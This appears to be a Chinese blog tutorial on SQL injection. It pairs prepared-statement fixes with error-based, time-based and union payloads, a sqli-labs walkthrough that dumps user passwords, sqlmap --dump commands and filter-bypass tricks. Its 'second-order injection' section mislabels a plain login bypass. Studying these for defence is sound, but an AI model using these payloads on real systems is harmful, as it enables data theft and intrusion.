SQL注入
C3ngH Lv3

SQL注入漏洞概念和危害

SQL注入是一种常见的网络安全漏洞,它允许攻击者通过在应用程序的输入中插入恶意的SQL代码来执行恶意操作。这种攻击通常发生在与数据库进行交互的应用程序中,如网站、应用程序或其他与数据库交互的软件。

概念:

SQL注入的概念涉及到在应用程序的输入中插入SQL代码,以执行未经授权的数据库操作。这通常发生在应用程序未正确验证、过滤或转义用户提供的输入数据的情况下。

攻击者利用输入验证不足的漏洞,将恶意的SQL代码注入到应用程序的数据库查询中。这使得攻击者能够执行任意的数据库操作,包括读取、修改或删除敏感数据,甚至完全控制数据库。

危害:

  1. 数据泄露: 攻击者可以利用SQL注入漏洞来访问和泄露敏感数据,如用户凭证、个人信息或其他机密信息。
  2. 数据篡改: 攻击者可以修改数据库中的数据,包括用户信息、交易记录等。这可能导致信息不一致性、虚假交易或其他损害。
  3. 拒绝服务: 通过执行破坏性的SQL语句,攻击者可能导致数据库性能下降,甚至完全拒绝服务,使应用程序不可用。
  4. 执行任意命令: 攻击者可以利用SQL注入漏洞执行任意的数据库命令,这可能包括创建新用户、提升权限或执行其他危险操作。
  5. 应用程序完全控制: 如果攻击者成功执行足够的恶意SQL代码,他们可能能够完全控制应用程序,甚至服务器。

SQL注入漏洞的修复建议

1.使用prepare语句进行预编译

在PHP中,可以使用预编译语句来防范SQL注入攻击。PHP中常用的数据库操作库是PDO(PHP Data Objects)和MySQLi(MySQL Improved)。以下是使用PDO和MySQLi的预编译语句的示例代码:

(1)使用PDO:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
// 使用PDO连接数据库
$dsn = 'mysql:host=localhost;dbname=your_database';
$username = 'your_username';
$password = 'your_password';

try {
$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// 使用预编译语句
$sql = "SELECT * FROM users WHERE username = :username AND password = :password";
$stmt = $pdo->prepare($sql);

// 绑定参数
$stmt->bindParam(':username', $userInputUsername);
$stmt->bindParam(':password', $userInputPassword);

// 执行查询
$stmt->execute();

// 获取结果集
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

// 处理结果集
// ...

} catch (PDOException $e) {
echo "Error: " . $e->getMessage();
}

// 关闭连接
$pdo = null;
?>

(2)使用MySQLi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
// 使用MySQLi连接数据库
$servername = "localhost";
$username = "your_username";
$password = "your_password";
$dbname = "your_database";

$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接是否成功
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

// 使用预编译语句
$sql = "SELECT * FROM users WHERE username = ? AND password = ?";
$stmt = $conn->prepare($sql);

// 绑定参数
$stmt->bind_param("ss", $userInputUsername, $userInputPassword);

// 执行查询
$stmt->execute();

// 获取结果集
$result = $stmt->get_result();

// 处理结果集
// ...

// 关闭连接
$stmt->close();
$conn->close();
?>

在上述代码中,使用了prepare方法创建预编译语句,并使用bindParam(PDO)或bind_param(MySQLi)方法将参数绑定到预编译语句中。这样可以防范SQL注入攻击,因为用户输入被正确地参数化处理,而不是直接拼接到SQL查询中。

2.在Java中使用#{}

  • ${} 是用于变量的直接替换,它会将变量的值直接拼接到SQL语句中。这种方式容易受到SQL注入的影响。
  • #{} 是用于参数的预编译,它会将参数值作为占位符进行处理,从而防范SQL注入。MyBatis在处理 #{} 时会使用预编译语句,确保传入的值不会对SQL语句产生直接的影响。

因此,对于SQL注入的防范,推荐使用 #{} 的方式,并结合预编译语句,而不是简单地将 ${} 替换为 #{}

SQL注释符

SQL注释符用于在SQL语句中添加注释,这样可以使代码更易于理解、维护,同时在某些情况下也可以用于绕过一些限制或进行恶意的SQL注入。以下是一些常见的SQL注释符:

  1. 单行注释(–):

    • 单行注释使用--,后面的内容会被视为注释。

    • 示例:

      1
      SELECT * FROM users WHERE username = 'admin' -- AND password = '123';
  2. *多行注释(/* /):

    • 多行注释使用/* */,注释部分可以跨越多行。

    • 示例:

      1
      SELECT * FROM users WHERE username = 'admin' /* AND password = '123' */;
  3. MySQL特有的#号注释:

    • MySQL支持使用#号作为单行注释,#的URL编码是%23

    • 示例:

      1
      SELECT * FROM users WHERE username = 'admin' # AND password = '123';

4.+号在SQL中被编译为空格

SQL注入漏洞类型

1. 布尔型:and 1=1或者 and 1=2

假设应用程序使用用户提供的数字值来执行数据库查询:

1
SELECT * FROM products WHERE product_id = $userInput;

攻击者可以尝试输入如下的恶意输入:

1
userInput = 1 OR 1=1;

这样构建的查询语句将变为:

1
SELECT * FROM products WHERE product_id = 1 OR 1=1;

这使得查询条件总是为真,导致返回所有产品的数据。

2. 报错型:

在字符型SQL注入中主要出现的符号为:' " ) % ,我们可以构造相应的字符使语句提前闭合,如果语句成功闭合则会返回语法错误。

1
select * from tables where id = %$id%; 

报错型通用语句

1
2
3
4
5
(select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

updatexml(1,concat(0x7e,(database()),0x7e),1)

extractvalue(1,concat(0x7e,(database()),0x7e))

3.时间型:

攻击者利用应用程序在执行SQL查询时的延迟来判断是否存在漏洞,而不直接回显数据。

1
2
3
-1' or if(length(database())>8,sleep(10),0) and '1'='1

-1' or if(substr(database(),1,1) = “s”,sleep(5),0)

4.二次注入:

假设有一个简单的登录页面,用户需要输入用户名和密码来进行身份验证。如果该应用程序存在SQL注入漏洞,攻击者可能通过输入恶意的输入来利用这个漏洞。以下是一个简化的例子:

原始的SQL查询可能如下所示:

1
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';

在正常情况下,用户输入的用户名和密码将被直接插入到SQL查询中。但是,如果应用程序没有正确验证和过滤输入,攻击者可能输入以下内容:

用户名:' OR '1'='1' --
密码:任意密码

这将导致构建的SQL查询变为:

1
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '任意密码';

在这个例子中,-- 表示SQL注释,它使得原始查询中剩余的部分被忽略。由于 '1'='1' 总是为真,整个查询的条件将始终为真,因此系统将返回所有用户的数据,而不仅仅是具有输入的用户名和密码的用户。

SQL注入利用

1.手工注入

1.识别目标:

  • 确定目标网站或应用程序存在潜在的SQL注入漏洞。这通常包括在用户输入处检查是否存在不安全的数据处理。

环境使用phpstudy+sqli-labs搭建,以Less-2为例

image

数据库名:security,在Navicat中可以看到该数据库的组织形式

image

2.找到注入点:

  • 确定可以注入SQL代码的具体输入点,通常是在应用程序的URL参数、表单字段、Cookie或HTTP标头中。

在本题中,题目给出Please input the ID as parameter with numeric value

image

经过测试由id变量来控制输入不同的数据

3.测试注入点:

  • 在注入点插入一些简单的SQL语句,例如 1' OR '1'='1,看看是否能够改变查询的行为或获取额外的信息。

例如本题:

(1)构造?id=-1 or 1=1使得条件恒为正确,结果显示正常,确定id变量为注入点

image

(2)构造?id=-1 or 1=1 order by 4确定columns只有3列

image

如果order by 后的数字小于等于有效列则会正常显示,如果大于有效列则会报错

image

(3)构造联合查询确定显示位置

Union select:让原有查询语句为假,使拼合后的union select为真

1
id=-1 union select 1,2,3

image

确定Your Login name在2位置回显,Your Password在3位置回显。

4.联合查询(Union-Based):

  • 如果目标是从数据库中检索数据,尝试使用UNION语句合并额外的查询结果。

(1)查询当前数据库

1
2
select database();
#注意作为拼接语句时要去掉分号,作为完整语句时要加上分号

image

(2)查询所有的数据库

1
2
3
select group_concat(schema_name) from information_schema.schemata;

select schema_name from information_schema.schemata limit 0,1;

image

(3)查询security的所有表名

1
2
3
select table_name from information_schema.tables where table_schema = "security" limit 0,1;

select group_concat(table_name) from information_schema.tables where table_schema = "security";

image

(4)查询users的所有字段

1
2
3
select column_name from information_schema.COLUMNS where table_schema = "security" and table_name="users" limit 0,1;

select group_concat(column_name) from information_schema.COLUMNS where table_name="users";

给出一个完整URL实例:

1
http://127.0.0.1:23334/Less-2/?id=-1%20union select 1,(select group_concat(column_name) from information_schema.COLUMNS where table_name="users"),3

image

(5)查询security.user的所有数据

1
select group_concat(username,':',password,'</br>') from users

image

2.利用自动化工具sqlmap注入

(1)查询当前数据库

1
2
3
4
# GET请求 
sqlmap -u "http://127.0.0.1:23334/Less-2/?id=1" --current-db
# POST请求
sqlmap -r POST_request.txt --current-db

POST_request.txt为bp抓包获得的一个POST请求数据包

如果无法抓取127.0.0.1发送的数据包,可将本机地址改为局域网内地址,地址在cmd的ipconfig中获取。

image

(2)查询所有数据库

1
2
3
4
# GET请求 
sqlmap -u “http://192.168.52.130:8081/Less-2/?id=1--dbs
# POST请求
sqlmap -r POST_request.txt --dbs

image

(3)查询security所有表单

1
2
3
4
# GET请求 
sqlmap -u "http://127.0.0.1:23334/Less-2/?id=1" -D security --tables
# POST请求
sqlmap -r POST_request.txt -D security --tables

image

(4)查询security.users的所有字段

1
2
3
4
# GET请求 
sqlmap -u "http://127.0.0.1:23334/Less-2/?id=1" -D security -T users --columns
# POST请求
sqlmap -r POST_request.txt -D security -T users --columns

image

(5)查询security.users的所有数据

1
2
3
4
# GET请求 
sqlmap -u "http://127.0.0.1:23334/Less-2/?id=1" -D security -T users -C id,username,password --dump
# POST请求
sqlmap -r POST_request.txt -D security -T users -C id,username,password --dump

image

SQL注入字符的绕过

  • 双写绕过

例如过滤了"order by"中的or,可以使用“oorrder by”双写绕过,中间的or会被正则表达式过滤删除,然后拼接得到一个新的order by

  • 空格替换

可以使用 %0A + /**/ 替换空格,%20通常会被直接判定为空格故此处不写

  • Union Select绕过

使用union all select进行替换

  • 大小写绕过

附加知识

1.group_concat()聚合查询函数

GROUP_CONCAT() 函数是用于将每个分组中的值连接成一个字符串的聚合函数。它通常用于与GROUP BY子句一起使用,将每个分组中的多个行合并成一个字符串。该函数在多种关系型数据库系统中都有支持,如MySQL、SQLite、PostgreSQL等。

原理:

GROUP_CONCAT() 函数的原理是对每个分组中的数据进行连接,形成一个包含所有值的字符串。连接的顺序通常由数据库引擎内部决定,而且可能不是特定的顺序。

使用方法:
MySQL示例:

假设有一个表 employees

1
2
3
4
5
6
7
8
+----+---------+--------+
| id | name | dept |
+----+---------+--------+
| 1 | Alice | HR |
| 2 | Bob | IT |
| 3 | Charlie | HR |
| 4 | David | IT |
+----+---------+--------+

我们想按部门分组,将每个部门的员工名字连接成一个字符串。可以使用 GROUP_CONCAT() 函数实现:

1
2
3
SELECT dept, GROUP_CONCAT(name ORDER BY id SEPARATOR ', ') AS employee_list
FROM employees
GROUP BY dept;

上述查询将输出每个部门以及该部门下员工的名字连接成的字符串:

1
2
3
4
5
6
+--------+---------------------+
| dept | employee_list |
+--------+---------------------+
| HR | Alice, Charlie |
| IT | Bob, David |
+--------+---------------------+

在这个例子中,GROUP_CONCAT(name ORDER BY id SEPARATOR ', ') 表示按照 id 的顺序连接每个部门的员工名字,并使用逗号和空格作为分隔符。你也可以根据需要更改分隔符、排序规则等。

2.information_schema数据库

information_schema 是一个特殊的数据库,它包含了关于数据库服务器、数据库、表、列、索引、权限等元数据(metadata)的信息。这些信息以表格的形式存储,允许用户查询和了解数据库服务器的内部结构、配置和状态。

以下是 information_schema 数据库的一些常见用途:

  1. 元数据查询:
    • 可以通过 information_schema 数据库中的表,如 TABLESCOLUMNSINDEXES,来获取关于数据库中的表、列和索引的元数据信息。
  2. 权限查询:
    • 使用 information_schema 数据库的 USER_PRIVILEGES 表,可以查询用户和角色的权限信息。
  3. 数据库和表的配置信息:
    • 查询 SCHEMATA 表和 TABLES 表,可以获取有关数据库和表的配置信息,如字符集、排序规则等。
  4. 表约束查询:
    • 使用 KEY_COLUMN_USAGE 表,可以查询有关表的主键、外键等约束信息。
  5. 视图和存储过程查询:
    • 通过查询 VIEWS 表和 ROUTINES 表,可以获取关于数据库中的视图和存储过程的信息。
  6. 查询执行计划:
    • 查询 PROCESSLIST 表可以获取有关当前执行的查询的信息,包括查询语句、执行时间等。
  7. 查询服务器配置信息:
    • 查询 GLOBAL_VARIABLES 表和 SESSION_VARIABLES 表,可以获取有关数据库服务器全局配置和当前会话配置的信息。
 评论
评论插件加载失败
正在加载评论插件
访客数 访问量